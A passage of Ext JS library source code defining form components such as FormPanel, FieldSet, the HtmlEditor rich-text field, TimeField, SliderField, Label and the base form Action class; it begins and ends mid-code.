 }\n        }\n    }\n}, startMonitoring:function () {\n    if (!this.validTask) {\n        this.validTask = new Ext.util.TaskRunner();\n        this.validTask.start({run:this.bindHandler, interval:this.monitorPoll || 200, scope:this})\n    }\n}, stopMonitoring:function () {\n    if (this.validTask) {\n        this.validTask.stopAll();\n        this.validTask = null\n    }\n}, load:function () {\n    this.form.load.apply(this.form, arguments)\n}, onDisable:function () {\n    Ext.FormPanel.superclass.onDisable.call(this);\n    if (this.form) {\n        this.form.items.each(function () {\n            this.disable()\n        })\n    }\n}, onEnable:function () {\n    Ext.FormPanel.superclass.onEnable.call(this);\n    if (this.form) {\n        this.form.items.each(function () {\n            this.enable()\n        })\n    }\n}, bindHandler:function () {\n    var e = true;\n    this.form.items.each(function (g) {\n        if (!g.isValid(true)) {\n            e = false;\n            return false\n        }\n    });\n    if (this.fbar) {\n        var b = this.fbar.items.items;\n        for (var d = 0, a = b.length; d < a; d++) {\n            var c = b[d];\n            if (c.formBind === true && c.disabled === e) {\n                c.setDisabled(!e)\n            }\n        }\n    }\n    this.fireEvent(\"clientvalidation\", this, e)\n}});\nExt.reg(\"form\", Ext.FormPanel);\nExt.form.FormPanel = Ext.FormPanel;\nExt.form.FieldSet = Ext.extend(Ext.Panel, {baseCls:\"x-fieldset\", layout:\"form\", animCollapse:false, onRender:function (b, a) {\n    if (!this.el) {\n        this.el = document.createElement(\"fieldset\");\n        this.el.id = this.id;\n        if (this.title || this.header || this.checkboxToggle) {\n            this.el.appendChild(document.createElement(\"legend\")).className = this.baseCls + \"-header\"\n        }\n    }\n    Ext.form.FieldSet.superclass.onRender.call(this, b, a);\n    if (this.checkboxToggle) {\n        var c = typeof this.checkboxToggle == \"object\" ? this.checkboxToggle : {tag:\"input\", type:\"checkbox\", name:this.checkboxName || this.id + \"-checkbox\"};\n        this.checkbox = this.header.insertFirst(c);\n        this.checkbox.dom.checked = !this.collapsed;\n        this.mon(this.checkbox, \"click\", this.onCheckClick, this)\n    }\n}, onCollapse:function (a, b) {\n    if (this.checkbox) {\n        this.checkbox.dom.checked = false\n    }\n    Ext.form.FieldSet.superclass.onCollapse.call(this, a, b)\n}, onExpand:function (a, b) {\n    if (this.checkbox) {\n        this.checkbox.dom.checked = true\n    }\n    Ext.form.FieldSet.superclass.onExpand.call(this, a, b)\n}, onCheckClick:function () {\n    this[this.checkbox.dom.checked ? \"expand\" : \"collapse\"]()\n}});\nExt.reg(\"fieldset\", Ext.form.FieldSet);\nExt.form.HtmlEditor = Ext.extend(Ext.form.Field, {enableFormat:true, enableFontSize:true, enableColors:true, enableAlignments:true, enableLists:true, enableSourceEdit:true, enableLinks:true, enableFont:true, createLinkText:\"Please enter the URL for the link:\", defaultLinkValue:\"http://\", fontFamilies:[\"Arial\", \"Courier New\", \"Tahoma\", \"Times New Roman\", \"Verdana\"], defaultFont:\"tahoma\", defaultValue:(Ext.isOpera || Ext.isIE6) ? \"&#160;\" : \"&#8203;\", actionMode:\"wrap\", validationEvent:false, deferHeight:true, initialized:false, activated:false, sourceEditMode:false, onFocus:Ext.emptyFn, iframePad:3, hideMode:\"offsets\", defaultAutoCreate:{tag:\"textarea\", style:\"width:500px;height:300px;\", autocomplete:\"off\"}, initComponent:function () {\n    this.addEvents(\"initialize\", \"activate\", \"beforesync\", \"beforepush\", \"sync\", \"push\", \"editmodechange\");\n    Ext.form.HtmlEditor.superclass.initComponent.call(this)\n}, createFontOptions:function () {\n    var d = [], b = this.fontFamilies, c, g;\n    for (var e = 0, a = b.length; e < a; e++) {\n        c = b[e];\n        g = c.toLowerCase();\n        d.push('<option value=\"', g, '\" style=\"font-family:', c, ';\"', (this.defaultFont == g ? ' selected=\"true\">' : \">\"), c, \"</option>\")\n    }\n    return d.join(\"\")\n}, createToolbar:function (e) {\n    var c = [];\n    var a = Ext.QuickTips && Ext.QuickTips.isEnabled();\n\n    function d(j, h, i) {\n        return{itemId:j, cls:\"x-btn-icon\", iconCls:\"x-edit-\" + j, enableToggle:h !== false, scope:e, handler:i || e.relayBtnCmd, clickEvent:\"mousedown\", tooltip:a ? e.buttonTips[j] || undefined : undefined, overflowText:e.buttonTips[j].title || undefined, tabIndex:-1}\n    }\n\n    if (this.enableFont && !Ext.isSafari2) {\n        var g = new Ext.Toolbar.Item({autoEl:{tag:\"select\", cls:\"x-font-select\", html:this.createFontOptions()}});\n        c.push(g, \"-\")\n    }\n    if (this.enableFormat) {\n        c.push(d(\"bold\"), d(\"italic\"), d(\"underline\"))\n    }\n    if (this.enableFontSize) {\n        c.push(\"-\", d(\"increasefontsize\", false, this.adjustFont), d(\"decreasefontsize\", false, this.adjustFont))\n    }\n    if (this.enableColors) {\n        c.push(\"-\", {itemId:\"forecolor\", cls:\"x-btn-icon\", iconCls:\"x-edit-forecolor\", clickEvent:\"mousedown\", tooltip:a ? e.buttonTips.forecolor || undefined : undefined, tabIndex:-1, menu:new Ext.menu.ColorMenu({allowReselect:true, focus:Ext.emptyFn, value:\"000000\", plain:true, listeners:{scope:this, select:function (i, h) {\n            this.execCmd(\"forecolor\", Ext.isWebKit || Ext.isIE ? \"#\" + h : h);\n            this.deferFocus()\n        }}, clickEvent:\"mousedown\"})}, {itemId:\"backcolor\", cls:\"x-btn-icon\", iconCls:\"x-edit-backcolor\", clickEvent:\"mousedown\", tooltip:a ? e.buttonTips.backcolor || undefined : undefined, tabIndex:-1, menu:new Ext.menu.ColorMenu({focus:Ext.emptyFn, value:\"FFFFFF\", plain:true, allowReselect:true, listeners:{scope:this, select:function (i, h) {\n            if (Ext.isGecko) {\n                this.execCmd(\"useCSS\", false);\n                this.execCmd(\"hilitecolor\", h);\n                this.execCmd(\"useCSS\", true);\n                this.deferFocus()\n            } else {\n                this.execCmd(Ext.isOpera ? \"hilitecolor\" : \"backcolor\", Ext.isWebKit || Ext.isIE ? \"#\" + h : h);\n                this.deferFocus()\n            }\n        }}, clickEvent:\"mousedown\"})})\n    }\n    if (this.enableAlignments) {\n        c.push(\"-\", d(\"justifyleft\"), d(\"justifycenter\"), d(\"justifyright\"))\n    }\n    if (!Ext.isSafari2) {\n        if (this.enableLinks) {\n            c.push(\"-\", d(\"createlink\", false, this.createLink))\n        }\n        if (this.enableLists) {\n            c.push(\"-\", d(\"insertorderedlist\"), d(\"insertunorderedlist\"))\n        }\n        if (this.enableSourceEdit) {\n            c.push(\"-\", d(\"sourceedit\", true, function (h) {\n                this.toggleSourceEdit(!this.sourceEditMode)\n            }))\n        }\n    }\n    var b = new Ext.Toolbar({renderTo:this.wrap.dom.firstChild, items:c});\n    if (g) {\n        this.fontSelect = g.el;\n        this.mon(this.fontSelect, \"change\", function () {\n            var h = this.fontSelect.dom.value;\n            this.relayCmd(\"fontname\", h);\n            this.deferFocus()\n        }, this)\n    }\n    this.mon(b.el, \"click\", function (h) {\n        h.preventDefault()\n    });\n    this.tb = b;\n    this.tb.doLayout()\n}, onDisable:function () {\n    this.wrap.mask();\n    Ext.form.HtmlEditor.superclass.onDisable.call(this)\n}, onEnable:function () {\n    this.wrap.unmask();\n    Ext.form.HtmlEditor.superclass.onEnable.call(this)\n}, setReadOnly:function (b) {\n    Ext.form.HtmlEditor.superclass.setReadOnly.call(this, b);\n    if (this.initialized) {\n        if (Ext.isIE) {\n            this.getEditorBody().contentEditable = !b\n        } else {\n            this.setDesignMode(!b)\n        }\n        var a = this.getEditorBody();\n        if (a) {\n            a.style.cursor = this.readOnly ? \"default\" : \"text\"\n        }\n        this.disableItems(b)\n    }\n}, getDocMarkup:function () {\n    var a = Ext.fly(this.iframe).getHeight() - this.iframePad * 2;\n    return String.format('<html><head><style type=\"text/css\">body{border: 0; margin: 0; padding: {0}px; height: {1}px; cursor: text}</style></head><body></body></html>', this.iframePad, a)\n}, getEditorBody:function () {\n    var a = this.getDoc();\n    return a.body || a.documentElement\n}, getDoc:function () {\n    return Ext.isIE ? this.getWin().document : (this.iframe.contentDocument || this.getWin().document)\n}, getWin:function () {\n    return Ext.isIE ? this.iframe.contentWindow : window.frames[this.iframe.name]\n}, onRender:function (b, a) {\n    Ext.form.HtmlEditor.superclass.onRender.call(this, b, a);\n    this.el.dom.style.border = \"0 none\";\n    this.el.dom.setAttribute(\"tabIndex\", -1);\n    this.el.addClass(\"x-hidden\");\n    if (Ext.isIE) {\n        this.el.applyStyles(\"margin-top:-1px;margin-bottom:-1px;\")\n    }\n    this.wrap = this.el.wrap({cls:\"x-html-editor-wrap\", cn:{cls:\"x-html-editor-tb\"}});\n    this.createToolbar(this);\n    this.disableItems(true);\n    this.tb.doLayout();\n    this.createIFrame();\n    if (!this.width) {\n        var c = this.el.getSize();\n        this.setSize(c.width, this.height || c.height)\n    }\n    this.resizeEl = this.positionEl = this.wrap\n}, createIFrame:function () {\n    var a = document.createElement(\"iframe\");\n    a.name = Ext.id();\n    a.frameBorder = \"0\";\n    a.style.overflow = \"auto\";\n    a.src = Ext.SSL_SECURE_URL;\n    this.wrap.dom.appendChild(a);\n    this.iframe = a;\n    this.monitorTask = Ext.TaskMgr.start({run:this.checkDesignMode, scope:this, interval:100})\n}, initFrame:function () {\n    Ext.TaskMgr.stop(this.monitorTask);\n    var b = this.getDoc();\n    this.win = this.getWin();\n    b.open();\n    b.write(this.getDocMarkup());\n    b.close();\n    var a = {run:function () {\n        var c = this.getDoc();\n        if (c.body || c.readyState == \"complete\") {\n            Ext.TaskMgr.stop(a);\n            this.setDesignMode(true);\n            this.initEditor.defer(10, this)\n        }\n    }, interval:10, duration:10000, scope:this};\n    Ext.TaskMgr.start(a)\n}, checkDesignMode:function () {\n    if (this.wrap && this.wrap.dom.offsetWidth) {\n        var a = this.getDoc();\n        if (!a) {\n            return\n        }\n        if (!a.editorInitialized || this.getDesignMode() != \"on\") {\n            this.initFrame()\n        }\n    }\n}, setDesignMode:function (b) {\n    var a = this.getDoc();\n    if (a) {\n        if (this.readOnly) {\n            b = false\n        }\n        a.designMode = (/on|true/i).test(String(b).toLowerCase()) ? \"on\" : \"off\"\n    }\n}, getDesignMode:function () {\n    var a = this.getDoc();\n    if (!a) {\n        return\"\"\n    }\n    return String(a.designMode).toLowerCase()\n}, disableItems:function (a) {\n    if (this.fontSelect) {\n        this.fontSelect.dom.disabled = a\n    }\n    this.tb.items.each(function (b) {\n        if (b.getItemId() != \"sourceedit\") {\n            b.setDisabled(a)\n        }\n    })\n}, onResize:function (b, c) {\n    Ext.form.HtmlEditor.superclass.onResize.apply(this, arguments);\n    if (this.el && this.iframe) {\n        if (Ext.isNumber(b)) {\n            var e = b - this.wrap.getFrameWidth(\"lr\");\n            this.el.setWidth(e);\n            this.tb.setWidth(e);\n            this.iframe.style.width = Math.max(e, 0) + \"px\"\n        }\n        if (Ext.isNumber(c)) {\n            var a = c - this.wrap.getFrameWidth(\"tb\") - this.tb.el.getHeight();\n            this.el.setHeight(a);\n            this.iframe.style.height = Math.max(a, 0) + \"px\";\n            var d = this.getEditorBody();\n            if (d) {\n                d.style.height = Math.max((a - (this.iframePad * 2)), 0) + \"px\"\n            }\n        }\n    }\n}, toggleSourceEdit:function (b) {\n    var d, a;\n    if (b === undefined) {\n        b = !this.sourceEditMode\n    }\n    this.sourceEditMode = b === true;\n    var c = this.tb.getComponent(\"sourceedit\");\n    if (c.pressed !== this.sourceEditMode) {\n        c.toggle(this.sourceEditMode);\n        if (!c.xtbHidden) {\n            return\n        }\n    }\n    if (this.sourceEditMode) {\n        this.previousSize = this.getSize();\n        d = Ext.get(this.iframe).getHeight();\n        this.disableItems(true);\n        this.syncValue();\n        this.iframe.className = \"x-hidden\";\n        this.el.removeClass(\"x-hidden\");\n        this.el.dom.removeAttribute(\"tabIndex\");\n        this.el.focus();\n        this.el.dom.style.height = d + \"px\"\n    } else {\n        a = parseInt(this.el.dom.style.height, 10);\n        if (this.initialized) {\n            this.disableItems(this.readOnly)\n        }\n        this.pushValue();\n        this.iframe.className = \"\";\n        this.el.addClass(\"x-hidden\");\n        this.el.dom.setAttribute(\"tabIndex\", -1);\n        this.deferFocus();\n        this.setSize(this.previousSize);\n        delete this.previousSize;\n        this.iframe.style.height = a + \"px\"\n    }\n    this.fireEvent(\"editmodechange\", this, this.sourceEditMode)\n}, createLink:function () {\n    var a = prompt(this.createLinkText, this.defaultLinkValue);\n    if (a && a != \"http://\") {\n        this.relayCmd(\"createlink\", a)\n    }\n}, initEvents:function () {\n    this.originalValue = this.getValue()\n}, markInvalid:Ext.emptyFn, clearInvalid:Ext.emptyFn, setValue:function (a) {\n    Ext.form.HtmlEditor.superclass.setValue.call(this, a);\n    this.pushValue();\n    return this\n}, cleanHtml:function (a) {\n    a = String(a);\n    if (Ext.isWebKit) {\n        a = a.replace(/\\sclass=\"(?:Apple-style-span|khtml-block-placeholder)\"/gi, \"\")\n    }\n    if (a.charCodeAt(0) == this.defaultValue.replace(/\\D/g, \"\")) {\n        a = a.substring(1)\n    }\n    return a\n}, syncValue:function () {\n    if (this.initialized) {\n        var d = this.getEditorBody();\n        var c = d.innerHTML;\n        if (Ext.isWebKit) {\n            var b = d.getAttribute(\"style\");\n            var a = b.match(/text-align:(.*?);/i);\n            if (a && a[1]) {\n                c = '<div style=\"' + a[0] + '\">' + c + \"</div>\"\n            }\n        }\n        c = this.cleanHtml(c);\n        if (this.fireEvent(\"beforesync\", this, c) !== false) {\n            this.el.dom.value = c;\n            this.fireEvent(\"sync\", this, c)\n        }\n    }\n}, getValue:function () {\n    this[this.sourceEditMode ? \"pushValue\" : \"syncValue\"]();\n    return Ext.form.HtmlEditor.superclass.getValue.call(this)\n}, pushValue:function () {\n    if (this.initialized) {\n        var a = this.el.dom.value;\n        if (!this.activated && a.length < 1) {\n            a = this.defaultValue\n        }\n        if (this.fireEvent(\"beforepush\", this, a) !== false) {\n            this.getEditorBody().innerHTML = a;\n            if (Ext.isGecko) {\n                this.setDesignMode(false);\n                this.setDesignMode(true)\n            }\n            this.fireEvent(\"push\", this, a)\n        }\n    }\n}, deferFocus:function () {\n    this.focus.defer(10, this)\n}, focus:function () {\n    if (this.win && !this.sourceEditMode) {\n        this.win.focus()\n    } else {\n        this.el.focus()\n    }\n}, initEditor:function () {\n    try {\n        var c = this.getEditorBody(), a = this.el.getStyles(\"font-size\", \"font-family\", \"background-image\", \"background-repeat\", \"background-color\", \"color\"), g, b;\n        a[\"background-attachment\"] = \"fixed\";\n        c.bgProperties = \"fixed\";\n        Ext.DomHelper.applyStyles(c, a);\n        g = this.getDoc();\n        if (g) {\n            try {\n                Ext.EventManager.removeAll(g)\n            } catch (d) {\n            }\n        }\n        b = this.onEditorEvent.createDelegate(this);\n        Ext.EventManager.on(g, {mousedown:b, dblclick:b, click:b, keyup:b, buffer:100});\n        if (Ext.isGecko) {\n            Ext.EventManager.on(g, \"keypress\", this.applyCommand, this)\n        }\n        if (Ext.isIE || Ext.isWebKit || Ext.isOpera) {\n            Ext.EventManager.on(g, \"keydown\", this.fixKeys, this)\n        }\n        g.editorInitialized = true;\n        this.initialized = true;\n        this.pushValue();\n        this.setReadOnly(this.readOnly);\n        this.fireEvent(\"initialize\", this)\n    } catch (d) {\n    }\n}, beforeDestroy:function () {\n    if (this.monitorTask) {\n        Ext.TaskMgr.stop(this.monitorTask)\n    }\n    if (this.rendered) {\n        Ext.destroy(this.tb);\n        var b = this.getDoc();\n        if (b) {\n            try {\n                Ext.EventManager.removeAll(b);\n                for (var c in b) {\n                    delete b[c]\n                }\n            } catch (a) {\n            }\n        }\n        if (this.wrap) {\n            this.wrap.dom.innerHTML = \"\";\n            this.wrap.remove()\n        }\n    }\n    Ext.form.HtmlEditor.superclass.beforeDestroy.call(this)\n}, onFirstFocus:function () {\n    this.activated = true;\n    this.disableItems(this.readOnly);\n    if (Ext.isGecko) {\n        this.win.focus();\n        var a = this.win.getSelection();\n        if (!a.focusNode || a.focusNode.nodeType != 3) {\n            var b = a.getRangeAt(0);\n            b.selectNodeContents(this.getEditorBody());\n            b.collapse(true);\n            this.deferFocus()\n        }\n        try {\n            this.execCmd(\"useCSS\", true);\n            this.execCmd(\"styleWithCSS\", false)\n        } catch (c) {\n        }\n    }\n    this.fireEvent(\"activate\", this)\n}, adjustFont:function (b) {\n    var d = b.getItemId() == \"increasefontsize\" ? 1 : -1, c = this.getDoc(), a = parseInt(c.queryCommandValue(\"FontSize\") || 2, 10);\n    if ((Ext.isSafari && !Ext.isSafari2) || Ext.isChrome || Ext.isAir) {\n        if (a <= 10) {\n            a = 1 + d\n        } else {\n            if (a <= 13) {\n                a = 2 + d\n            } else {\n                if (a <= 16) {\n                    a = 3 + d\n                } else {\n                    if (a <= 18) {\n                        a = 4 + d\n                    } else {\n                        if (a <= 24) {\n                            a = 5 + d\n                        } else {\n                            a = 6 + d\n                        }\n                    }\n                }\n            }\n        }\n        a = a.constrain(1, 6)\n    } else {\n        if (Ext.isSafari) {\n            d *= 2\n        }\n        a = Math.max(1, a + d) + (Ext.isSafari ? \"px\" : 0)\n    }\n    this.execCmd(\"FontSize\", a)\n}, onEditorEvent:function (a) {\n    this.updateToolbar()\n}, updateToolbar:function () {\n    if (this.readOnly) {\n        return\n    }\n    if (!this.activated) {\n        this.onFirstFocus();\n        return\n    }\n    var b = this.tb.items.map, c = this.getDoc();\n    if (this.enableFont && !Ext.isSafari2) {\n        var a = (c.queryCommandValue(\"FontName\") || this.defaultFont).toLowerCase();\n        if (a != this.fontSelect.dom.value) {\n            this.fontSelect.dom.value = a\n        }\n    }\n    if (this.enableFormat) {\n        b.bold.toggle(c.queryCommandState(\"bold\"));\n        b.italic.toggle(c.queryCommandState(\"italic\"));\n        b.underline.toggle(c.queryCommandState(\"underline\"))\n    }\n    if (this.enableAlignments) {\n        b.justifyleft.toggle(c.queryCommandState(\"justifyleft\"));\n        b.justifycenter.toggle(c.queryCommandState(\"justifycenter\"));\n        b.justifyright.toggle(c.queryCommandState(\"justifyright\"))\n    }\n    if (!Ext.isSafari2 && this.enableLists) {\n        b.insertorderedlist.toggle(c.queryCommandState(\"insertorderedlist\"));\n        b.insertunorderedlist.toggle(c.queryCommandState(\"insertunorderedlist\"))\n    }\n    Ext.menu.MenuMgr.hideAll();\n    this.syncValue()\n}, relayBtnCmd:function (a) {\n    this.relayCmd(a.getItemId())\n}, relayCmd:function (b, a) {\n    (function () {\n        this.focus();\n        this.execCmd(b, a);\n        this.updateToolbar()\n    }).defer(10, this)\n}, execCmd:function (b, a) {\n    var c = this.getDoc();\n    c.execCommand(b, false, a === undefined ? null : a);\n    this.syncValue()\n}, applyCommand:function (b) {\n    if (b.ctrlKey) {\n        var d = b.getCharCode(), a;\n        if (d > 0) {\n            d = String.fromCharCode(d);\n            switch (d) {\n                case\"b\":\n                    a = \"bold\";\n                    break;\n                case\"i\":\n                    a = \"italic\";\n                    break;\n                case\"u\":\n                    a = \"underline\";\n                    break\n            }\n            if (a) {\n                this.win.focus();\n                this.execCmd(a);\n                this.deferFocus();\n                b.preventDefault()\n            }\n        }\n    }\n}, insertAtCursor:function (c) {\n    if (!this.activated) {\n        return\n    }\n    if (Ext.isIE) {\n        this.win.focus();\n        var b = this.getDoc(), a = b.selection.createRange();\n        if (a) {\n            a.pasteHTML(c);\n            this.syncValue();\n            this.deferFocus()\n        }\n    } else {\n        this.win.focus();\n        this.execCmd(\"InsertHTML\", c);\n        this.deferFocus()\n    }\n}, fixKeys:function () {\n    if (Ext.isIE) {\n        return function (g) {\n            var a = g.getKey(), d = this.getDoc(), b;\n            if (a == g.TAB) {\n                g.stopEvent();\n                b = d.selection.createRange();\n                if (b) {\n                    b.collapse(true);\n                    b.pasteHTML(\"&nbsp;&nbsp;&nbsp;&nbsp;\");\n                    this.deferFocus()\n                }\n            } else {\n                if (a == g.ENTER) {\n                    b = d.selection.createRange();\n                    if (b) {\n                        var c = b.parentElement();\n                        if (!c || c.tagName.toLowerCase() != \"li\") {\n                            g.stopEvent();\n                            b.pasteHTML(\"<br />\");\n                            b.collapse(false);\n                            b.select()\n                        }\n                    }\n                }\n            }\n        }\n    } else {\n        if (Ext.isOpera) {\n            return function (b) {\n                var a = b.getKey();\n                if (a == b.TAB) {\n                    b.stopEvent();\n                    this.win.focus();\n                    this.execCmd(\"InsertHTML\", \"&nbsp;&nbsp;&nbsp;&nbsp;\");\n                    this.deferFocus()\n                }\n            }\n        } else {\n            if (Ext.isWebKit) {\n                return function (b) {\n                    var a = b.getKey();\n                    if (a == b.TAB) {\n                        b.stopEvent();\n                        this.execCmd(\"InsertText\", \"\\t\");\n                        this.deferFocus()\n                    } else {\n                        if (a == b.ENTER) {\n                            b.stopEvent();\n                            this.execCmd(\"InsertHtml\", \"<br /><br />\");\n                            this.deferFocus()\n                        }\n                    }\n                }\n            }\n        }\n    }\n}(), getToolbar:function () {\n    return this.tb\n}, buttonTips:{bold:{title:\"Bold (Ctrl+B)\", text:\"Make the selected text bold.\", cls:\"x-html-editor-tip\"}, italic:{title:\"Italic (Ctrl+I)\", text:\"Make the selected text italic.\", cls:\"x-html-editor-tip\"}, underline:{title:\"Underline (Ctrl+U)\", text:\"Underline the selected text.\", cls:\"x-html-editor-tip\"}, increasefontsize:{title:\"Grow Text\", text:\"Increase the font size.\", cls:\"x-html-editor-tip\"}, decreasefontsize:{title:\"Shrink Text\", text:\"Decrease the font size.\", cls:\"x-html-editor-tip\"}, backcolor:{title:\"Text Highlight Color\", text:\"Change the background color of the selected text.\", cls:\"x-html-editor-tip\"}, forecolor:{title:\"Font Color\", text:\"Change the color of the selected text.\", cls:\"x-html-editor-tip\"}, justifyleft:{title:\"Align Text Left\", text:\"Align text to the left.\", cls:\"x-html-editor-tip\"}, justifycenter:{title:\"Center Text\", text:\"Center text in the editor.\", cls:\"x-html-editor-tip\"}, justifyright:{title:\"Align Text Right\", text:\"Align text to the right.\", cls:\"x-html-editor-tip\"}, insertunorderedlist:{title:\"Bullet List\", text:\"Start a bulleted list.\", cls:\"x-html-editor-tip\"}, insertorderedlist:{title:\"Numbered List\", text:\"Start a numbered list.\", cls:\"x-html-editor-tip\"}, createlink:{title:\"Hyperlink\", text:\"Make the selected text a hyperlink.\", cls:\"x-html-editor-tip\"}, sourceedit:{title:\"Source Edit\", text:\"Switch to source editing mode.\", cls:\"x-html-editor-tip\"}}});\nExt.reg(\"htmleditor\", Ext.form.HtmlEditor);\nExt.form.TimeField = Ext.extend(Ext.form.ComboBox, {minValue:undefined, maxValue:undefined, minText:\"The time in this field must be equal to or after {0}\", maxText:\"The time in this field must be equal to or before {0}\", invalidText:\"{0} is not a valid time\", format:\"g:i A\", altFormats:\"g:ia|g:iA|g:i a|g:i A|h:i|g:i|H:i|ga|ha|gA|h a|g a|g A|gi|hi|gia|hia|g|H|gi a|hi a|giA|hiA|gi A|hi A\", increment:15, mode:\"local\", triggerAction:\"all\", typeAhead:false, initDate:\"1/1/2008\", initDateFormat:\"j/n/Y\", initComponent:function () {\n    if (Ext.isDefined(this.minValue)) {\n        this.setMinValue(this.minValue, true)\n    }\n    if (Ext.isDefined(this.maxValue)) {\n        this.setMaxValue(this.maxValue, true)\n    }\n    if (!this.store) {\n        this.generateStore(true)\n    }\n    Ext.form.TimeField.superclass.initComponent.call(this)\n}, setMinValue:function (b, a) {\n    this.setLimit(b, true, a);\n    return this\n}, setMaxValue:function (b, a) {\n    this.setLimit(b, false, a);\n    return this\n}, generateStore:function (b) {\n    var c = this.minValue || new Date(this.initDate).clearTime(), a = this.maxValue || new Date(this.initDate).clearTime().add(\"mi\", (24 * 60) - 1), d = [];\n    while (c <= a) {\n        d.push(c.dateFormat(this.format));\n        c = c.add(\"mi\", this.increment)\n    }\n    this.bindStore(d, b)\n}, setLimit:function (b, g, a) {\n    var e;\n    if (Ext.isString(b)) {\n        e = this.parseDate(b)\n    } else {\n        if (Ext.isDate(b)) {\n            e = b\n        }\n    }\n    if (e) {\n        var c = new Date(this.initDate).clearTime();\n        c.setHours(e.getHours(), e.getMinutes(), e.getSeconds(), e.getMilliseconds());\n        this[g ? \"minValue\" : \"maxValue\"] = c;\n        if (!a) {\n            this.generateStore()\n        }\n    }\n}, getValue:function () {\n    var a = Ext.form.TimeField.superclass.getValue.call(this);\n    return this.formatDate(this.parseDate(a)) || \"\"\n}, setValue:function (a) {\n    return Ext.form.TimeField.superclass.setValue.call(this, this.formatDate(this.parseDate(a)))\n}, validateValue:Ext.form.DateField.prototype.validateValue, formatDate:Ext.form.DateField.prototype.formatDate, parseDate:function (h) {\n    if (!h || Ext.isDate(h)) {\n        return h\n    }\n    var j = this.initDate + \" \", g = this.initDateFormat + \" \", b = Date.parseDate(j + h, g + this.format), c = this.altFormats;\n    if (!b && c) {\n        if (!this.altFormatsArray) {\n            this.altFormatsArray = c.split(\"|\")\n        }\n        for (var e = 0, d = this.altFormatsArray, a = d.length; e < a && !b; e++) {\n            b = Date.parseDate(j + h, g + d[e])\n        }\n    }\n    return b\n}});\nExt.reg(\"timefield\", Ext.form.TimeField);\nExt.form.SliderField = Ext.extend(Ext.form.Field, {useTips:true, tipText:null, actionMode:\"wrap\", initComponent:function () {\n    var b = Ext.copyTo({id:this.id + \"-slider\"}, this.initialConfig, [\"vertical\", \"minValue\", \"maxValue\", \"decimalPrecision\", \"keyIncrement\", \"increment\", \"clickToChange\", \"animate\"]);\n    if (this.useTips) {\n        var a = this.tipText ? {getText:this.tipText} : {};\n        b.plugins = [new Ext.slider.Tip(a)]\n    }\n    this.slider = new Ext.Slider(b);\n    Ext.form.SliderField.superclass.initComponent.call(this)\n}, onRender:function (b, a) {\n    this.autoCreate = {id:this.id, name:this.name, type:\"hidden\", tag:\"input\"};\n    Ext.form.SliderField.superclass.onRender.call(this, b, a);\n    this.wrap = this.el.wrap({cls:\"x-form-field-wrap\"});\n    this.resizeEl = this.positionEl = this.wrap;\n    this.slider.render(this.wrap)\n}, onResize:function (b, c, d, a) {\n    Ext.form.SliderField.superclass.onResize.call(this, b, c, d, a);\n    this.slider.setSize(b, c)\n}, initEvents:function () {\n    Ext.form.SliderField.superclass.initEvents.call(this);\n    this.slider.on(\"change\", this.onChange, this)\n}, onChange:function (b, a) {\n    this.setValue(a, undefined, true)\n}, onEnable:function () {\n    Ext.form.SliderField.superclass.onEnable.call(this);\n    this.slider.enable()\n}, onDisable:function () {\n    Ext.form.SliderField.superclass.onDisable.call(this);\n    this.slider.disable()\n}, beforeDestroy:function () {\n    Ext.destroy(this.slider);\n    Ext.form.SliderField.superclass.beforeDestroy.call(this)\n}, alignErrorIcon:function () {\n    this.errorIcon.alignTo(this.slider.el, \"tl-tr\", [2, 0])\n}, setMinValue:function (a) {\n    this.slider.setMinValue(a);\n    return this\n}, setMaxValue:function (a) {\n    this.slider.setMaxValue(a);\n    return this\n}, setValue:function (c, b, a) {\n    if (!a) {\n        this.slider.setValue(c, b)\n    }\n    return Ext.form.SliderField.superclass.setValue.call(this, this.slider.getValue())\n}, getValue:function () {\n    return this.slider.getValue()\n}});\nExt.reg(\"sliderfield\", Ext.form.SliderField);\nExt.form.Label = Ext.extend(Ext.BoxComponent, {onRender:function (b, a) {\n    if (!this.el) {\n        this.el = document.createElement(\"label\");\n        this.el.id = this.getId();\n        this.el.innerHTML = this.text ? Ext.util.Format.htmlEncode(this.text) : (this.html || \"\");\n        if (this.forId) {\n            this.el.setAttribute(\"for\", this.forId)\n        }\n    }\n    Ext.form.Label.superclass.onRender.call(this, b, a)\n}, setText:function (a, b) {\n    var c = b === false;\n    this[!c ? \"text\" : \"html\"] = a;\n    delete this[c ? \"text\" : \"html\"];\n    if (this.rendered) {\n        this.el.dom.innerHTML = b !== false ? Ext.util.Format.htmlEncode(a) : a\n    }\n    return this\n}});\nExt.reg(\"label\", Ext.form.Label);\nExt.form.Action = function (b, a) {\n    this.form = b;\n    this.options = a || {}\n};\nExt.form.Action.CLIENT_INVALID = \"client\";\nExt.form.Action.SERVER_INVALID = \"server\";\nExt.form.Action.CONNECT_FAILURE = \"connect\";\nExt.form.Action.LOAD_FAILURE = \"load\";\nExt.form.Action.prototype = {type:\"default\", run:function (a) {\n}, success:function (a) {\n}, handleResponse:function (a) {\n}, failure:function (a) {\n    this.response = a;\n    this.failureType = Ext.form.Action.CONNECT_FAILURE;\n    this.form.afterAction(this, false)\n}, processResponse:function (a) {\n    this.response = a;\n    if (!a.responseText && !a.responseXML) {\n        return true\n    }\n    this.result = this.handleResponse(a);\n    return this.result\n}, decodeResponse:function (a) {\n    try {\n        return Ext.decode(a.responseText)\n    } catch (b) {\n        return false\n    }\n}, getUrl:function (c) {\n    var a = this.options.url || this.form.url || this.form.el.dom.action;\n    if (c) {\n        var b = this.getParams();\n        if (b) {\n            a = Ext.urlAppend(a, b)\n        }\n    }\n    return a\n}, getMethod:function () {\n    return(this.options.method || this.form.method || this.form.el.dom.method || \"POST\").toUpperCase()\n}, getParams:function () {\n    var a = this.form.baseParams;\n    var b = this.options.params;\n    if (b) {\n        if (typeof b == \"object\") {\n            b = Ext.urlEncode(Ext.applyIf(b, a))\n        } else {\n            if (typeof b == \"string\" && a) {\n                b += \"&\" + Ext.urlEncode(a)\n            }\n        }\n    } else {\n        if (a) {\n            b = Ext.urlEncode(a)\n        }\n    }\n    return b\n}, createCallback:function (a) {\n    var a = a || {};\n    return{success:this.success, failure:this.failure, scope:this, timeout:(a.timeout * 1000) || (this.form.timeout * 1000), upload:this.form.fileUpload ? this.success : undefined}\n}};\nExt.form.Action.Submit = function (b, a) {\n    Ext.form.Action.Submit.superclass.constructor.call(this, b, a)\n};\nExt.extend(Ext.form.Action.Submit, Ext.form.Action, {type:\"submit\", run:function () {\n    var e = this.options, g = this.getMethod(), d = g == \"GET\";\n    if (e.clientValidation === false || this.form.isValid()) {\n        if (e.submitEmptyText === false) {\n            var a = this.form.items, c = [], b = function (h) {\n           